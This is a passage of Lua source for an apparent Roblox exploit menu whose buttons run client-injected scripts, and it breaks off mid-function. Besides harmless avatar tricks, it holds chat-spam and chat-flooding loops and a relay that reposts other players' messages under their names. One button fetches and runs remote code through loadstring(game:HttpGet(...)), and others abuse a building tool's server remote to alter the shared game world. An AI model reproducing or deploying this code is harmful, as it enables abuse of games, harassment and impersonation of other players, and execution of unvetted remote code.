StarterGui.CoolGui.Frame.Page4.Section2.Button.LocalScript local function C_a3() local script = G2L["a3"]; local button = script.Parent local input = script.Parent.Parent.Parent.Parent.Settings.Page.Section1.mid button.MouseButton1Down:connect(function() input.Text = "146563959" end) end; task.spawn(C_a3); -- StarterGui.CoolGui.Frame.Page4.Section2.Button.LocalScript local function C_a5() local script = G2L["a5"]; local button = script.Parent local input = script.Parent.Parent.Parent.Parent.Settings.Page.Section1.mid button.MouseButton1Down:connect(function() input.Text = "142376088" end) end; task.spawn(C_a5); -- StarterGui.CoolGui.Frame.Page4.Section1.Button.LocalScript local function C_a9() local script = G2L["a9"]; local button = script.Parent local input = script.Parent.Parent.Parent.Parent.Settings.Page.Section1.sdid button.MouseButton1Down:connect(function() input.Text = "89243526849526" end) end; task.spawn(C_a9); -- StarterGui.CoolGui.Frame.Page4.Section1.Button.LocalScript local function C_ab() local script = G2L["ab"]; local button = script.Parent local input = script.Parent.Parent.Parent.Parent.Settings.Page.Section1.sdid button.MouseButton1Down:connect(function() input.Text = "160456772" end) end; task.spawn(C_ab); -- StarterGui.CoolGui.Frame.Page4.Section1.Button.LocalScript local function C_ad() local script = G2L["ad"]; local button = script.Parent local input = script.Parent.Parent.Parent.Parent.Settings.Page.Section1.sdid button.MouseButton1Down:connect(function() input.Text = "358313209" end) end; task.spawn(C_ad); -- StarterGui.CoolGui.Frame.Page4.Section1.Button.LocalScript local function C_af() local script = G2L["af"]; local button = script.Parent local input = script.Parent.Parent.Parent.Parent.Settings.Page.Section1.sdid button.MouseButton1Down:connect(function() input.Text = "13513140020" end) end; task.spawn(C_af); -- StarterGui.CoolGui.Frame.Page4.Section1.Button.LocalScript local function C_b1() local script = G2L["b1"]; local button = script.Parent local input = script.Parent.Parent.Parent.Parent.Settings.Page.Section1.sdid button.MouseButton1Down:connect(function() input.Text = "92836561458826" end) end; task.spawn(C_b1); -- StarterGui.CoolGui.Frame.Page4.Section1.Button.LocalScript local function C_b3() local script = G2L["b3"]; local button = script.Parent local input = script.Parent.Parent.Parent.Parent.Settings.Page.Section1.sdid button.MouseButton1Down:connect(function() input.Text = "891289659" end) end; task.spawn(C_b3); -- StarterGui.CoolGui.Frame.Page4.Section1.Button.LocalScript local function C_b5() local script = G2L["b5"]; local button = script.Parent local input = script.Parent.Parent.Parent.Parent.Settings.Page.Section1.sdid button.MouseButton1Down:connect(function() input.Text = "18682840631" end) end; task.spawn(C_b5); -- StarterGui.CoolGui.Frame.Page4.Section1.Button.LocalScript local function C_b7() local script = G2L["b7"]; local button = script.Parent local input = script.Parent.Parent.Parent.Parent.Settings.Page.Section1.sdid button.MouseButton1Down:connect(function() input.Text = "72454632890085" end) end; task.spawn(C_b7); -- StarterGui.CoolGui.Frame.Page5.Section2.Button.LocalScript local function C_bd() local script = G2L["bd"]; local button = script.Parent local RunService = game:GetService("RunService") button.MouseButton1Down:connect(function() local RunService = game:GetService("RunService") local function glitchSound(sound) if not sound:IsA("Sound") or sound:GetAttribute("IsGlitching") then return end sound:SetAttribute("IsGlitching", true) sound:Play() local conn conn = RunService.Heartbeat:Connect(function() if not sound or not sound:IsDescendantOf(game) then conn:Disconnect() return end if sound.IsPlaying then local d = sound.TimeLength if d > 0 then local t = math.random(1,5) local p if t == 1 then p = math.random() * d elseif t == 2 then p = math.clamp(sound.TimePosition - math.random(150,500)/1000, 0, d) elseif t == 3 then p = math.clamp(sound.TimePosition + math.random(200,700)/1000, 0, d) elseif t == 4 then p = math.random() * d else p = 0 end sound.TimePosition = p end end end) end task.defer(function() for _,v in ipairs(game:GetDescendants()) do if v:IsA("Sound") then glitchSound(v) end end end) game.DescendantAdded:Connect(function(d) if d:IsA("Sound") then glitchSound(d) end end) end) end; task.spawn(C_bd); -- StarterGui.CoolGui.Frame.Page5.Section2.Button.LocalScript local function C_bf() local script = G2L["bf"]; local button = script.Parent --local input = CoolGui.Frame.Settings button.MouseButton1Down:connect(function() for _,v in pairs(game:GetDescendants()) do if v:IsA("Sound") then pcall(function() v:Stop() end) end end game.DescendantAdded:connect(function(obj) if obj:IsA("Sound") then pcall(function() obj:Stop() end) end end) end) end; task.spawn(C_bf); -- StarterGui.CoolGui.Frame.Page5.Section2.Button.LocalScript local function C_c1() local script = G2L["c1"]; local button = script.Parent --local input = CoolGui.Frame.Settings button.MouseButton1Down:connect(function() wait(5) --[[ Info ]]-- local ver = "2.00" local scriptname = "feFlip" --[[ Keybinds ]]-- local FrontflipKey = Enum.KeyCode.Z local BackflipKey = Enum.KeyCode.X local AirjumpKey = Enum.KeyCode.C --[[ Dependencies ]]-- local ca = game:GetService("ContextActionService") local zeezy = game:GetService("Players").LocalPlayer local h = 0.0174533 local antigrav --[[ Functions ]]-- function zeezyFrontflip(act,inp,obj) if inp == Enum.UserInputState.Begin then zeezy.Character.Humanoid:ChangeState("Jumping") wait() zeezy.Character.Humanoid.Sit = true for i = 1,360 do delay(i/720,function() zeezy.Character.Humanoid.Sit = true zeezy.Character.HumanoidRootPart.CFrame = zeezy.Character.HumanoidRootPart.CFrame * CFrame.Angles(-h,0,0) end) end wait(0.55) zeezy.Character.Humanoid.Sit = false end end function zeezyBackflip(act,inp,obj) if inp == Enum.UserInputState.Begin then zeezy.Character.Humanoid:ChangeState("Jumping") wait() zeezy.Character.Humanoid.Sit = true for i = 1,360 do delay(i/720,function() zeezy.Character.Humanoid.Sit = true zeezy.Character.HumanoidRootPart.CFrame = zeezy.Character.HumanoidRootPart.CFrame * CFrame.Angles(h,0,0) end) end wait(0.55) zeezy.Character.Humanoid.Sit = false end end function zeezyAirjump(act,inp,obj) if inp == Enum.UserInputState.Begin then zeezy.Character:FindFirstChildOfClass'Humanoid':ChangeState("Seated") wait() zeezy.Character:FindFirstChildOfClass'Humanoid':ChangeState("Jumping") end end --[[ Binds ]]-- ca:BindAction("zeezyFrontflip",zeezyFrontflip,false,FrontflipKey) ca:BindAction("zeezyBackflip",zeezyBackflip,false,BackflipKey) ca:BindAction("zeezyAirjump",zeezyAirjump,false,AirjumpKey) --[[ Load Message ]]-- print(scriptname .. " " .. ver .. " loaded successfully") print("made by Zeezy#7203") local notifSound = Instance.new("Sound",workspace) notifSound.PlaybackSpeed = 1.5 notifSound.Volume = 0.15 notifSound.SoundId = "rbxassetid://170765130" notifSound.PlayOnRemove = true notifSound:Destroy() game.StarterGui:SetCore("SendNotification", {Title = "feFlip", Text = "feFlip loaded successfully!", Icon = "rbxassetid://505845268", Duration = 5, Button1 = "Okay"}) end) end; task.spawn(C_c1); -- StarterGui.CoolGui.Frame.Page5.Section2.Button.LocalScript local function C_c3() local script = G2L["c3"]; local button = script.Parent --local input = CoolGui.Frame.Settings button.MouseButton1Down:connect(function() local UserInputService = game:GetService("UserInputService") local RunService = game:GetService("RunService") local Camera = workspace.CurrentCamera local SPEED_MULTIPLIER = 30 local JUMP_POWER = 60 local JUMP_GAP = 0.3 local delta = 1 local character = game.Players.LocalPlayer.Character or game.Players.LocalPlayer.CharacterAdded:Wait() for i, v in ipairs(character:GetDescendants()) do if v:IsA("BasePart") then v.CanCollide = false v.Transparency = 0 end end local ball = character:WaitForChild("HumanoidRootPart") ball.Shape = Enum.PartType.Ball ball.Material = Enum.Material.SmoothPlastic ball.Size = Vector3.new(5, 5, 5) ball.Transparency = 0.75 local humanoid = character:WaitForChild("Humanoid") local params = RaycastParams.new() params.FilterType = Enum.RaycastFilterType.Blacklist params.FilterDescendantsInstances = {character} local function updateMovement() local movement = Vector3.new(0, 0, 0) if UserInputService:IsKeyDown(Enum.KeyCode.W) then movement -= Camera.CFrame.LookVector end if UserInputService:IsKeyDown(Enum.KeyCode.S) then movement += Camera.CFrame.LookVector end if UserInputService:IsKeyDown(Enum.KeyCode.A) then movement -= Camera.CFrame.RightVector end if UserInputService:IsKeyDown(Enum.KeyCode.D) then movement += Camera.CFrame.RightVector end if movement.Magnitude > 0 then movement = movement.Unit * SPEED_MULTIPLIER ball.RotVelocity = Vector3.new(movement.X, ball.RotVelocity.Y, movement.Z) end end local movementConnection = RunService.RenderStepped:Connect(function(delta) ball.CanCollide = true humanoid.PlatformStand = true if not UserInputService:GetFocusedTextBox() then updateMovement() end end) UserInputService.JumpRequest:Connect(function() local result = workspace:Raycast( ball.Position, Vector3.new(0, -((ball.Size.Y / 2) + JUMP_GAP), 0), params ) if result then ball.Velocity = ball.Velocity + Vector3.new(0, JUMP_POWER, 0) end end) Camera.CameraSubject = ball humanoid.Died:Connect(function() movementConnection:Disconnect() end) end) end; task.spawn(C_c3); -- StarterGui.CoolGui.Frame.Page5.Section2.Button.LocalScript local function C_c5() local script = G2L["c5"]; local button = script.Parent --local input = CoolGui.Frame.Settings button.MouseButton1Down:connect(function() local delay = 2.5 function send(text) local A_delay = text local A_2 = "All" local event = game.TextChatService.TextChannels.RBXGeneral event:SendAsync(A_delay, A_2) end send("We're no strangers to love") wait(delay) send("You know the rules, and so do I") wait(delay) send("A full commitment's what I'm thinking of") wait(delay) send("You wouldn't get this from any other guy") wait(delay) send("I just wanna tell you how I'm feeling") wait(delay) send("Gotta make you understand") wait(delay) send("Never gonna give you up") wait(delay) send("Never gonna let you down") wait(delay) send("Never gonna run around and desert you") wait(delay) send("Never gonna make you cry") wait(delay) send("Never gonna say goodbye") wait(delay) send("Never gonna tell a lie and hurt you") wait(delay) send("We've known each other for so long") wait(delay) send("Your heart's been aching but you're too shy to say it") wait(delay) send("Inside we both know what's been going on") wait(delay) send("We know the game and we're gonna play it") wait(delay) send("And if you ask me how I'm feeling") wait(delay) send("Don't tell me you're too blind to see") wait(delay) send("Never gonna give you up") wait(delay) send("Never gonna let you down") wait(delay) send("Never gonna run around and desert you") wait(delay) send("Never gonna make you cry") wait(delay) send("Never gonna say goodbye") wait(delay) send("Never gonna tell a lie and hurt you") wait(delay) send("Never gonna give you up") wait(delay) send("Never gonna let you down") wait(delay) send("Never gonna run around and desert you") wait(delay) send("Never gonna make you cry") wait(delay) send("Never gonna say goodbye") wait(delay) send("Never gonna tell a lie and hurt you") wait(delay) send("Never gonna give, never gonna give (Give you up)") wait(delay) send("We've known each other for so long") wait(delay) send("Your heart's been aching but you're too shy to say it") wait(delay) send("Inside we both know what's been going on") wait(delay) send("We know the game and we're gonna play it") wait(delay) send("I just wanna tell you how I'm feeling") wait(delay) send("Gotta make you understand") wait(delay) send("Never gonna give you up") wait(delay) send("Never gonna let you down") wait(delay) send("Never gonna run around and desert you") wait(delay) send("Never gonna make you cry") wait(delay) send("Never gonna say goodbye") wait(delay) send("Never gonna tell a lie and hurt you") wait(delay) send("Never gonna give you up") wait(delay) send("Never gonna let you down") wait(delay) send("Never gonna run around and desert you") wait(delay) send("Never gonna make you cry") wait(delay) send("Never gonna say goodbye") wait(delay) send("Never gonna tell a lie and hurt you") wait(delay) send("Never gonna give you up") wait(delay) send("Never gonna let you down") wait(delay) send("Never gonna run around and desert you") wait(delay) send("Never gonna make you cry") wait(delay) send("Never gonna say goodbye") wait(delay) send("Never gonna tell a lie and hurt you") end) end; task.spawn(C_c5); -- StarterGui.CoolGui.Frame.Page5.Section2.Button.LocalScript local function C_c7() local script = G2L["c7"]; local button = script.Parent --local input = CoolGui.Frame.Settings button.MouseButton1Down:connect(function() --- [R6] FE salute --- --- Edited by nul#3174 --- --- Credits to the unknown original creator --- local UIS = game:GetService("UserInputService") local Posed = false local Player = game.Players.LocalPlayer local Animation = Instance.new("Animation") Animation.AnimationId = "rbxassetid://186434728" local Track = Player.Character.Humanoid:LoadAnimation(Animation) local function onRan() UIS.InputBegan:Connect(function(input, gameProcessed) if input.KeyCode == Enum.KeyCode.H and not Posed and UIS:GetFocusedTextBox() == nil then Posed = true Track:Play() wait(.05) Track:AdjustSpeed(0) elseif input.KeyCode == Enum.KeyCode.H and Posed and UIS:GetFocusedTextBox() == nil then Posed = false Track:Stop() end end) end onRan() local function onDeath() Player.CharacterAdded:Wait() repeat wait() until Player.Character:FindFirstChild("Humanoid") Track = Player.Character.Humanoid:LoadAnimation(Animation) UIS.InputBegan:Connect(function(input, gameProcessed) if input.KeyCode == Enum.KeyCode.H and not Posed and UIS:GetFocusedTextBox() == nil then Posed = true Track:Play() wait(.05) Track:AdjustSpeed(0) elseif input.KeyCode == Enum.KeyCode.H and Posed and UIS:GetFocusedTextBox() == nil then Posed = false Track:Stop() end end) end Player.Character:WaitForChild("Humanoid").Died:Connect(function() onDeath() onRan() end) Player.CharacterAdded:Connect(function() onDeath() onRan() end) end) end; task.spawn(C_c7); -- StarterGui.CoolGui.Frame.Page5.Section2.Button.LocalScript local function C_c9() local script = G2L["c9"]; local button = script.Parent -- Lyrics local lyrics = { "Spooky Scary Skeletons", "Send shivers down your spine", "Shrieking skulls will shock your soul", "Seal your doom tonight", "Spooky Scary Skeletons", "Speak with such a screech", "You'll shake and shudder in surprise", "When you hear these zombies shriek", "We're so sorry skeletons", "You're so misunderstood", "You only want to socialize", "But I don't think we should", "Cause spooky scary skeletons", "Shout startling shrilly screams", "They'll sneak from their sarcophagus", "And just won't leave you be." } -- Function to send messages in both modern and legacy chat local function sendMessage(message) local chatService = game:GetService("TextChatService") local replicatedStorage = game:GetService("ReplicatedStorage") if chatService and chatService.ChatVersion == Enum.ChatVersion.TextChatService then -- Modern Chat System local chatEvent = chatService:FindFirstChild("TextChannels") if chatEvent and chatEvent.RBXGeneral then chatEvent.RBXGeneral:SendAsync(message) end else -- Legacy Chat System local chatEvent = replicatedStorage:FindFirstChild("DefaultChatSystemChatEvents") if chatEvent and chatEvent:FindFirstChild("SayMessageRequest") then chatEvent.SayMessageRequest:FireServer(message, "All") end end end button.MouseButton1Down:connect(function() -- Function to sing lyrics local function singLyrics() for _, lyric in ipairs(lyrics) do sendMessage(lyric) wait(2.5) -- Adjust the delay as desired end end -- Start singing singLyrics() end) end; task.spawn(C_c9); -- StarterGui.CoolGui.Frame.Page5.Section2.Button.LocalScript local function C_cb() local script = G2L["cb"]; local button = script.Parent --local input = CoolGui.Frame.Settings button.MouseButton1Down:connect(function() local A_1 = "Ima do it." local A_2 = "All" local Event = game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest Event:FireServer(A_1, A_2) wait(1) local A_1 = "I will oof." local A_2 = "All" local Event = game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest Event:FireServer(A_1, A_2) wait(1) local A_1 = "Goodbye." local A_2 = "All" local Event = game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest Event:FireServer(A_1, A_2) wait(1) local LocalPlayer = game:GetService("Players").LocalPlayer LocalPlayer.Character.Humanoid:MoveTo(LocalPlayer.Character.HumanoidRootPart.Position + LocalPlayer.Character.HumanoidRootPart.CFrame.lookVector * 10) LocalPlayer.Character.Humanoid.Jump = true wait(0.5) function Iterate(instance, func) for i, v in next, instance:GetChildren() do func(v) end end limbs = { ["Right Leg"] = true; ["Right Arm"] = true; ["Left Leg"] = true; ["Left Arm"] = true; } Iterate(LocalPlayer.Character, function(v) if v:IsA("BasePart") then local attachment = Instance.new("Attachment") attachment.Parent = v attachment.Name = (v.Name .. "[Attachment]") if limbs[v.Name] then attachment.Position = Vector3.new(0, v.Size.Y/2, 0) elseif v.Name == "Head" then attachment.Position = Vector3.new(0, -v.Size.Y/2, 0) attachment.Rotation = Vector3.new(0, 0, -90) end end end) local leftLegAttachment = Instance.new("Attachment") leftLegAttachment.Position = Vector3.new(-.5, -1, 0) leftLegAttachment.Rotation = Vector3.new(0, -90, 0) local rightLegAttachment = Instance.new("Attachment") rightLegAttachment.Position = Vector3.new(.5, -1, 0) rightLegAttachment.Rotation = Vector3.new(0, -90, 0) rightLegAttachment.Parent, leftLegAttachment.Parent = LocalPlayer.Character.Torso, LocalPlayer.Character.Torso jointAttachments = { ['Head'] = { ['Attachment0'] = LocalPlayer.Character.Torso['NeckAttachment']; ['Attachment1'] = LocalPlayer.Character.Head['Head[Attachment]']; }; ['Left Arm'] = { ['Attachment0'] = LocalPlayer.Character.Torso['LeftCollarAttachment']; ['Attachment1'] = LocalPlayer.Character['Left Arm']['Left Arm[Attachment]']; }; ['Right Arm'] = { ['Attachment0'] = LocalPlayer.Character.Torso['RightCollarAttachment']; ['Attachment1'] = LocalPlayer.Character['Right Arm']['Right Arm[Attachment]']; }; ['Left Leg'] = { ['Attachment0'] = leftLegAttachment; ['Attachment1'] = LocalPlayer.Character['Left Leg']['Left Leg[Attachment]']; }; ['Right Leg'] = { ['Attachment0'] = rightLegAttachment; ['Attachment1'] = LocalPlayer.Character['Right Leg']['Right Leg[Attachment]']; }; } LocalPlayer.Character.Humanoid.PlatformStand = true Iterate(LocalPlayer.Character, function(v) if v:IsA("BasePart") then if jointAttachments[v.Name] then local ballSocketJoint = Instance.new("BallSocketConstraint") ballSocketJoint.Parent = v ballSocketJoint.Radius = 0.15 ballSocketJoint.Attachment0, ballSocketJoint.Attachment1 = jointAttachments[v.Name]['Attachment0'], jointAttachments[v.Name]['Attachment1'] end end end) Iterate(LocalPlayer.Character.Torso, function(v) if v:IsA("Motor") then v:Remove() end end) end) end; task.spawn(C_cb); -- StarterGui.CoolGui.Frame.Page5.Section2.Button.LocalScript local function C_cd() local script = G2L["cd"]; local button = script.Parent --local input = CoolGui.Frame.Settings button.MouseButton1Down:connect(function() local Action = game.Players:GetPlayers() for i = 1,#Action do Action[i].Chatted:connect(function(Message) game.ReplicatedStorage.DefaultChatSystemChatEvents.SayMessageRequest:FireServer("".."["..Action[i].Name.."]:".." "..Message, "All") end) end end) end; task.spawn(C_cd); -- StarterGui.CoolGui.Frame.Page5.Section2.Button.LocalScript local function C_cf() local script = G2L["cf"]; local button = script.Parent --local input = CoolGui.Frame.Settings button.MouseButton1Down:connect(function() local hint = Instance.new("Hint", workspace) local count = 60 repeat hint.Text = "Estimated time remaining until chat is deleted: "..math.floor(count*2.5).." seconds" wait(2.5) count = count - 1 game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest:FireServer(" ", "All") until count == 0 hint.Text = "The chat should be gone." wait(3) hint:Destroy() end) end; task.spawn(C_cf); -- StarterGui.CoolGui.Frame.Page5.Section2.Button.LocalScript local function C_d1() local script = G2L["d1"]; local button = script.Parent --local input = CoolGui.Frame.Settings button.MouseButton1Down:connect(function() if game.PlaceId == 445664957 then return; end local player = game:GetService("Players").LocalPlayer repeat wait() until game.Players.LocalPlayer.Character Char = game.Players.LocalPlayer.Character or player.CharacterAdded:Wait() if Char.Humanoid.RigType == Enum.HumanoidRigType.R6 == true then game.Players.LocalPlayer.Character:BreakJoints() game.Players.LocalPlayer.Character=nil Connection = game.Workspace.DescendantAdded:Connect(function(c) if c.Name == "Animate" then c.Disabled=true end end) function waitForChild(parent, childName) local child = parent:findFirstChild(childName) if child then return child end while true do child = parent.ChildAdded:wait() if child.Name==childName then return child end end end repeat wait() until game:GetService("Players").LocalPlayer.Character ~= nil and game:GetService("Players").LocalPlayer.Character:FindFirstChild("Humanoid") ~= nil Died = game.Players.LocalPlayer.Character:waitForChild("Humanoid").Died:Connect(function() Connection:Disconnect() Died:Disconnect() end) wait(.1) -- ANIMATION -- declarations local Figure = game.Players.LocalPlayer.Character local Torso = waitForChild(Figure, "Torso") local RightShoulder = waitForChild(Torso, "Right Shoulder") local LeftShoulder = waitForChild(Torso, "Left Shoulder") local RightHip = waitForChild(Torso, "Right Hip") local LeftHip = waitForChild(Torso, "Left Hip") local Neck = waitForChild(Torso, "Neck") local Humanoid = waitForChild(Figure, "Humanoid") local pose = "Standing" local toolAnim = "None" local toolAnimTime = 0 local jumpMaxLimbVelocity = 0.75 -- functions function onRunning(speed) if speed>0 then pose = "Running" else pose = "Standing" end end function onDied() pose = "Dead" end function onJumping() pose = "Jumping" end function onClimbing() pose = "Climbing" end function onGettingUp() pose = "GettingUp" end function onFreeFall() pose = "FreeFall" end function onFallingDown() pose = "FallingDown" end function onSeated() pose = "Seated" end function onPlatformStanding() pose = "PlatformStanding" end function onSwimming(speed) if speed>0 then pose = "Running" else pose = "Standing" end end function moveJump() RightShoulder.MaxVelocity = jumpMaxLimbVelocity LeftShoulder.MaxVelocity = jumpMaxLimbVelocity RightShoulder:SetDesiredAngle(3.14) LeftShoulder:SetDesiredAngle(-3.14) RightHip:SetDesiredAngle(0) LeftHip:SetDesiredAngle(0) end -- same as jump for now function moveFreeFall() RightShoulder.MaxVelocity = jumpMaxLimbVelocity LeftShoulder.MaxVelocity = jumpMaxLimbVelocity RightShoulder:SetDesiredAngle(3.14) LeftShoulder:SetDesiredAngle(-3.14) RightHip:SetDesiredAngle(0) LeftHip:SetDesiredAngle(0) end function moveSit() RightShoulder.MaxVelocity = 0.15 LeftShoulder.MaxVelocity = 0.15 RightShoulder:SetDesiredAngle(3.14 /2) LeftShoulder:SetDesiredAngle(-3.14 /2) RightHip:SetDesiredAngle(3.14 /2) LeftHip:SetDesiredAngle(-3.14 /2) end function getTool() for _, kid in ipairs(Figure:GetChildren()) do if kid.className == "Tool" then return kid end end return nil end function getToolAnim(tool) for _, c in ipairs(tool:GetChildren()) do if c.Name == "toolanim" and c.className == "StringValue" then return c end end return nil end function animateTool() if (toolAnim == "None") then RightShoulder:SetDesiredAngle(1.57) return end if (toolAnim == "Slash") then RightShoulder.MaxVelocity = 0.5 RightShoulder:SetDesiredAngle(0) return end if (toolAnim == "Lunge") then RightShoulder.MaxVelocity = 0.5 LeftShoulder.MaxVelocity = 0.5 RightHip.MaxVelocity = 0.5 LeftHip.MaxVelocity = 0.5 RightShoulder:SetDesiredAngle(1.57) LeftShoulder:SetDesiredAngle(1.0) RightHip:SetDesiredAngle(1.57) LeftHip:SetDesiredAngle(1.0) return end end function move(time) local amplitude local frequency if (pose == "Jumping") then moveJump() return end if (pose == "FreeFall") then moveFreeFall() return end if (pose == "Seated") then moveSit() return end local climbFudge = 0 if (pose == "Running") then if (RightShoulder.CurrentAngle > 1.5 or RightShoulder.CurrentAngle < -1.5) then RightShoulder.MaxVelocity = jumpMaxLimbVelocity else RightShoulder.MaxVelocity = 0.15 end if (LeftShoulder.CurrentAngle > 1.5 or LeftShoulder.CurrentAngle < -1.5) then LeftShoulder.MaxVelocity = jumpMaxLimbVelocity else LeftShoulder.MaxVelocity = 0.15 end amplitude = 1 frequency = 9 elseif (pose == "Climbing") then RightShoulder.MaxVelocity = 0.5 LeftShoulder.MaxVelocity = 0.5 amplitude = 1 frequency = 9 climbFudge = 3.14 else amplitude = 0.1 frequency = 1 end desiredAngle = amplitude * math.sin(time*frequency) RightShoulder:SetDesiredAngle(desiredAngle + climbFudge) LeftShoulder:SetDesiredAngle(desiredAngle - climbFudge) RightHip:SetDesiredAngle(-desiredAngle) LeftHip:SetDesiredAngle(-desiredAngle) local tool = getTool() if tool then animStringValueObject = getToolAnim(tool) if animStringValueObject then toolAnim = animStringValueObject.Value -- message recieved, delete StringValue animStringValueObject.Parent = nil toolAnimTime = time + .3 end if time > toolAnimTime then toolAnimTime = 0 toolAnim = "None" end animateTool() else toolAnim = "None" toolAnimTime = 0 end end -- connect events Humanoid.Died:connect(onDied) Humanoid.Running:connect(onRunning) Humanoid.Jumping:connect(onJumping) Humanoid.Climbing:connect(onClimbing) Humanoid.GettingUp:connect(onGettingUp) Humanoid.FreeFalling:connect(onFreeFall) Humanoid.FallingDown:connect(onFallingDown) Humanoid.Seated:connect(onSeated) Humanoid.PlatformStanding:connect(onPlatformStanding) Humanoid.Swimming:connect(onSwimming) -- main program local runService = game:service("RunService"); while Figure.Parent~=nil do local _, time = wait(0.1) move(time) end end end) end; task.spawn(C_d1); -- StarterGui.CoolGui.Frame.Page5.Section2.Button.LocalScript local function C_d3() local script = G2L["d3"]; local button = script.Parent --local input = CoolGui.Frame.Settings button.MouseButton1Down:connect(function() loadstring(game:HttpGet("https://raw.githubusercontent.com/AlexCr4sh/FeScripts/main/FeCarScript.lua", true))() end) end; task.spawn(C_d3); -- StarterGui.CoolGui.Frame.Page5.Section1.Button.LocalScript local function C_d7() local script = G2L["d7"]; local button = script.Parent local input = script.Parent.Parent.Parent.Parent.Settings.Page.Section1.sdid button.MouseButton1Down:connect(function() --rgrg local player = game.Players.LocalPlayer local char = player.Character local tool for i,v in player:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end for i,v in game.ReplicatedStorage:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end --craaa remote = tool.SyncAPI.ServerEndpoint function _(args) remote:InvokeServer(unpack(args)) end function SetCollision(part,boolean) local args = { [1] = "SyncCollision", [2] = { [1] = { ["Part"] = part, ["CanCollide"] = boolean } } } _(args) end function SetAnchor(boolean,part) local args = { [1] = "SyncAnchor", [2] = { [1] = { ["Part"] = part, ["Anchored"] = boolean } } } _(args) end function CreatePart(cf,parent) local args = { [1] = "CreatePart", [2] = "Normal", [3] = cf, [4] = parent } _(args) end function DestroyPart(part) local args = { [1] = "Remove", [2] = { [1] = part } } _(args) end function MovePart(part,cf) local args = { [1] = "SyncMove", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf } } } _(args) end function Resize(part,size,cf) local args = { [1] = "SyncResize", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf, ["Size"] = size } } } _(args) end function AddMesh(part) local args = { [1] = "CreateMeshes", [2] = { [1] = { ["Part"] = part } } } _(args) end function SetMesh(part,meshid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["MeshId"] = "rbxassetid://"..meshid } } } _(args) end function SetTexture(part, texid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["TextureId"] = "rbxassetid://"..texid } } } _(args) end function SetName(part, stringg) local args = { [1] = "SetName", [2] = { [1] = part }, [3] = stringg } _(args) end function MeshResize(part,size) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["Scale"] = size } } } _(args) end function Weld(part1, part2,lead) local args = { [1] = "CreateWelds", [2] = { [1] = part1, [2] = part2 }, [3] = lead } _(args) end function SetLocked(part,boolean) local args = { [1] = "SetLocked", [2] = { [1] = part }, [3] = boolean } _(args) end function SetTrans(part,int) local args = { [1] = "SyncMaterial", [2] = { [1] = { ["Part"] = part, ["Transparency"] = int } } } _(args) end function CreateSpotlight(part) local args = { [1] = "CreateLights", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight" } } } _(args) end function SyncLighting(part,brightness) local args = { [1] = "SyncLighting", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight", ["Brightness"] = brightness } } } _(args) end function Color(part,color) local args = { [1] = "SyncColor", [2] = { [1] = { ["Part"] = part, ["Color"] = color --[[Color3]], ["UnionColoring"] = false } } } _(args) end function SpawnDecal(part,side) local args = { [1] = "CreateTextures", [2] = { [1] = { ["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal" } } } _(args) end function AddDecal(part,asset,side) local args = { [1] = "SyncTexture", [2] = { [1] = { ["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal", ["Texture"] = "rbxassetid://".. asset } } } _(args) end function Sky(id) e = char.HumanoidRootPart.CFrame.x f = char.HumanoidRootPart.CFrame.y g = char.HumanoidRootPart.CFrame.z CreatePart(CFrame.new(math.floor(e),math.floor(f),math.floor(g)) + Vector3.new(0,6,0),workspace) for i,v in game.Workspace:GetDescendants() do if v:IsA("BasePart") and v.CFrame.x == math.floor(e) and v.CFrame.z == math.floor(g) then --spawn(function() SetName(v,"Sky") AddMesh(v) --end) --spawn(function() SetMesh(v,"8006679977") SetTexture(v,id) --end) MeshResize(v,Vector3.new(500,500,500)) SetLocked(v,true) end end end Sky(input.Text) end) end; task.spawn(C_d7); -- StarterGui.CoolGui.Frame.Page5.Section1.Button.LocalScript local function C_d9() local script = G2L["d9"]; local button = script.Parent --local input = CoolGui.Frame.Settings button.MouseButton1Down:connect(function() local player = game.Players.LocalPlayer local char = player.Character local tool for i,v in player:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end for i,v in game.ReplicatedStorage:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end --craaa remote = tool.SyncAPI.ServerEndpoint function _(args) remote:InvokeServer(unpack(args)) end function SetCollision(part,boolean) local args = { [1] = "SyncCollision", [2] = { [1] = { ["Part"] = part, ["CanCollide"] = boolean } } } _(args) end function SetAnchor(boolean,part) local args = { [1] = "SyncAnchor", [2] = { [1] = { ["Part"] = part, ["Anchored"] = boolean } } } _(args) end function CreatePart(cf,parent) local args = { [1] = "CreatePart", [2] = "Normal", [3] = cf, [4] = parent } _(args) end function DestroyPart(part) local args = { [1] = "Remove", [2] = { [1] = part } } _(args) end function MovePart(part,cf) local args = { [1] = "SyncMove", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf } } } _(args) end function Resize(part,size,cf) local args = { [1] = "SyncResize", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf, ["Size"] = size } } } _(args) end function AddMesh(part) local args = { [1] = "CreateMeshes", [2] = { [1] = { ["Part"] = part } } } _(args) end function SetMesh(part,meshid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["MeshId"] = "rbxassetid://"..meshid } } } _(args) end function SetTexture(part, texid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["TextureId"] = "rbxassetid://"..texid } } } _(args) end function SetName(part, stringg) local args = { [1] = "SetName", [2] = { [1] = workspace.Part }, [3] = stringg } _(args) end function MeshResize(part,size) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["Scale"] = size } } } _(args) end function Weld(part1, part2,lead) local args = { [1] = "CreateWelds", [2] = { [1] = part1, [2] = part2 }, [3] = lead } _(args) end function SetLocked(part,boolean) local args = { [1] = "SetLocked", [2] = { [1] = part }, [3] = boolean } 